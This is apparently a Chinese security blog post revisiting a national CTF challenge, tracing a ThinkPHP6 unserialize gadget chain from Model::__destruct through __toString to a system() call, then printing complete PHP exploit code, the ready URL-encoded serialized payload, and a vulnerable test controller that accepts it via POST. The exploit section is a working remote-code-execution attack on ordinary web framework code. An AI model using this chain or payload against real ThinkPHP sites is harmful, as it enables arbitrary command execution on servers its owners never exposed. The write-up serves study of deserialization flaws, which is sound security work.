文章目录

        • 前言
        • 1. 利用链分析
          • 1.1 反序列化的思考
          • 1.2 寻找触发条件
          • 1.3 __toString() 挖掘利用
        • 2. EXP编写
          • 2.1 过程分析
          • 2.2 EXP编写

前言

前段时间参加了信息安全国赛,其中有一个题是ThinkPHP6 反序列化,当时只是做了一些简单的审计,最后直接用网上的 EXP 打。现在比赛结束了,所以特地花点时间重新审计一番,小记一下。

1. 利用链分析

1.1 反序列化的思考

在PHP中,反序列化分为有类和无类两种,无类的反序列化利用比较简单直接。有类的时候一般需要挖掘利用链,其中起到关键作用的就是魔术方法,魔术方法是连接利用链的桥梁。

在挖掘反序列化的时候,一般来说首先要找的就是__destruct() ,__wakeup 两个函数

__destruct()	// 对象被销毁的时候调用
__wakeup()		// 反序列化的时候调用

1.2 寻找触发条件

废话不多说了,知道了入口点以后,现在开始漏洞挖掘,首先寻找入口点__destruct()

  • 用Seay全局搜索存在__destruct()的地方
    在这里插入图片描述
  • 然后找可利用的点,在/vendor/topthink/think-orm/src/Model.php中发现__destruct() 调用了save()方法,只需要$this->lazySave 为true 即可,并且这个参数是可控的
    在这里插入图片描述
/**
 * 析构方法
 * @access public
 */
public function __destruct()
{
    if ($this->lazySave) {
        $this->save();
    }
}

跟进save()方法,关键点如下,需要进入到updateData()函数,要绕过位置1处的判断和$this->exists为true

  • $this->exists是可控的,所以关键点是绕过前面的判断
    在这里插入图片描述

接下来查看$this->isEmpty()函数和$this->trigger()函数

  • 查看isEmpty()函数,使用empty()函数对$this->data进行判断,不为空即可,且参数可控
    -
  • trigger()函数默认返回的是true,所以也能绕过
    在这里插入图片描述
  • 接下来跟进updateData()方法,只要前面的绕过了,就会来到如下位置
  • 所以$this->checkAllowFields()默认就会被调用,继续跟进
    在这里插入图片描述
  • 跟进checkAllowFields()函数,$this->field参数和$this->schema默认为空数组,所以默认会直接调用db()函数
    在这里插入图片描述
  • 继续跟进db()函数,这里的$this->table是可控的,所以可以进入到位置2,并且这里将$this->table当作了字符串使用,如果$this->table是一个对象,那么就可以触发__toString()魔术方法的执行
    在这里插入图片描述
1.3 __toString() 挖掘利用

上面的分析找到通过__destruct()一步步触发执行__toString() ,接下来继续寻找__toString()函数中可用于利用的点

  • 还是全局搜索__toString(),在/vendor/topthink/think-orm/src/model/concern/Conversion.php中找到一个__toString()方法,里面调用了toJson()方法
    在这里插入图片描述
  • 跟进toJson()方法,这里调用了toArray()方法
    在这里插入图片描述
  • 跟进toArray()方法,关键代码如下,这里将$this->data和$this->relation两个数组合并,然后进行遍历,在默认情况下会调用到最下面的$this->getAttr($key),其中$this->data是可控的,所以这里传入的$key也能被控制
    在这里插入图片描述
  • 跟进getAttr()函数,$relation默认为false,然后$value的值从getData()函数中获取,然后将参数传入getValue()函数中
    -
  • 先查看一下getData()函数做了什么,这里调用了getRealFieldName()函数(实际上只是对内容进行了一下检测而已),只要内容合法,那么最后返回的$fieldName和$name实际上是一样的
  • 然后array_key_exists()函数判断检测后的内容在$this->data中是否存在,实际上可以理解为检测$name而已,只要内容合法,那么就一定存在,所以最后能执行位置2
    在这里插入图片描述

所以最后传入getValue($name, $value, $relation)函数的$name实际就是$this->data的key,$value就是$this->data中对应的value,$relation默认为false

  • 接下来继续跟进getValue()函数,主要如下
  • 只要$this->withAttr存在并且是一个数组,然后$fieldName在$this->json中存在,那么就能够执行getJsonValue函数,而且$this->withAttr,$this->json都是可控的
  • 所以传入getJsonValue()函数的内容实际上也就是可控的
    在这里插入图片描述
  • 继续跟进getJsonValue()函数,在这里存在变量覆盖,所以会造成RCE漏洞,只需要$this->jsonAssoc为true即可
    在这里插入图片描述

漏洞分析

  • 先来看看PHP中system()函数的使用,查看手册可以知道,system函数是可以传入两个参数的
    在这里插入图片描述
  • 如果$closure是system,$value[$key]就可以当作一个命令执行,并且这些参数全都可控
$value[$key] = $closure($value[$key], $value);

2. EXP编写

2.1 过程分析

上面主要是分析了利用过程,接下来仔细地分析一下参数的传递过程,不然很难理解实现RCE的过程

先来看看__toString()触发过程

Conversion::__toString()
Conversion::toJson()
Conversion::toArray() //出现 $this->data 参数
Attribute::getAttr()
Attribute::getValue() //出现 $this->json 和 $this->withAttr 参数
Attribute::getJsonValue() // 造成RCE漏洞

  • 首先出现参数控制的点在Conversion::toArray()函数中,这里如果控制$this->data=[‘whoami’=>[‘whoami’]],那么经过foreach遍历后,传入Attribute::getAttr()函数的$key也就是whoami
    在这里插入图片描述
  • 然后在Attribute::getAttr()函数中通过getData()函数从$this->data中拿到了数组中的value后返回
    在这里插入图片描述
  • 在Attribute::getValue()函数中对withAttr和json参数进行了验证
    在这里插入图片描述
  • 最后传入到Attribute::getJsonValue()函数中的内容如下,在foreach遍历的时候拿到的$key=0,所以$value[$key]也就是whoami,而遍历的$closure也就是system,从而造成了RCE漏洞
    在这里插入图片描述

接下来分析一下__destruct()的触发过程

Model::__destruct()
Model::save()
Model::updateData()
Model::checkAllowFields()
Model::db() // 触发 __toString()

  • 首先在Model::__destruct()中$this->lazySave需要为true,参数可控
    在这里插入图片描述
  • 然后在Model::save() 需要绕过isEmpty()和$this->exists参数
    在这里插入图片描述
  • 最后就是Model::db()方法,保证$this->table能触发__toString()
    在这里插入图片描述
2.2 EXP编写
  • 首先看Model类是一个抽象类,而且use了刚才__toString 利用过程中使用的接口Conversion和Attribute,所以关键字可以直接用
    在这里插入图片描述
  • 接下来将刚才需要用到的属性全部重新编写,如下
<?php

// 保证命名空间的一致
namespace think {
    // Model需要是抽象类
    abstract class Model {
        // 需要用到的关键字
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        
        // 初始化
        public function __construct($obj='') {
            $this->lazySave = true;
            $this->data = ['whoami'=>['whoami']];
            $this->exists = true;
            $this->table = $obj;    // 触发__toString
            $this->withAttr = ['whoami'=>['system']];
            $this->json = ['whoami'];
            $this->jsonAssoc = true;
        }
    }
}

  • 编写好以后,那么存在一个问题,Model是一个抽象类,然而抽象类是不能被实例化的,只能被继承,所以还需要找到一个继承Model的子类
  • 全局搜索extends Model,找到一个Pivot类继承了Model
    在这里插入图片描述
  • 最后得到完整的EXP,如下:
<?php

// 保证命名空间的一致
namespace think {
    // Model需要是抽象类
    abstract class Model {
        // 需要用到的关键字
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;

        // 初始化
        public function __construct($obj='') {
            $this->lazySave = true;
            $this->data = ['whoami'=>['whoami']];
            $this->exists = true;
            $this->table = $obj;    // 触发__toString
            $this->withAttr = ['whoami'=>['system']];
            $this->json = ['whoami'];
            $this->jsonAssoc = true;
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {
        
    }
    
    // 实例化
    $p = new Pivot(new Pivot());
    echo urlencode(serialize($p));
}

O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

  • 在/app/controller/Index.php控制器中添加一个操作exp
public function exp() {
      $ser = Request::post('x');
      unserialize(urldecode($ser));

      return 'Only_kele_';
  }

  • 访问没问题
    在这里插入图片描述
  • 接下来POST一个x看看能否执行命令,如下,命令执行成功
    在这里插入图片描述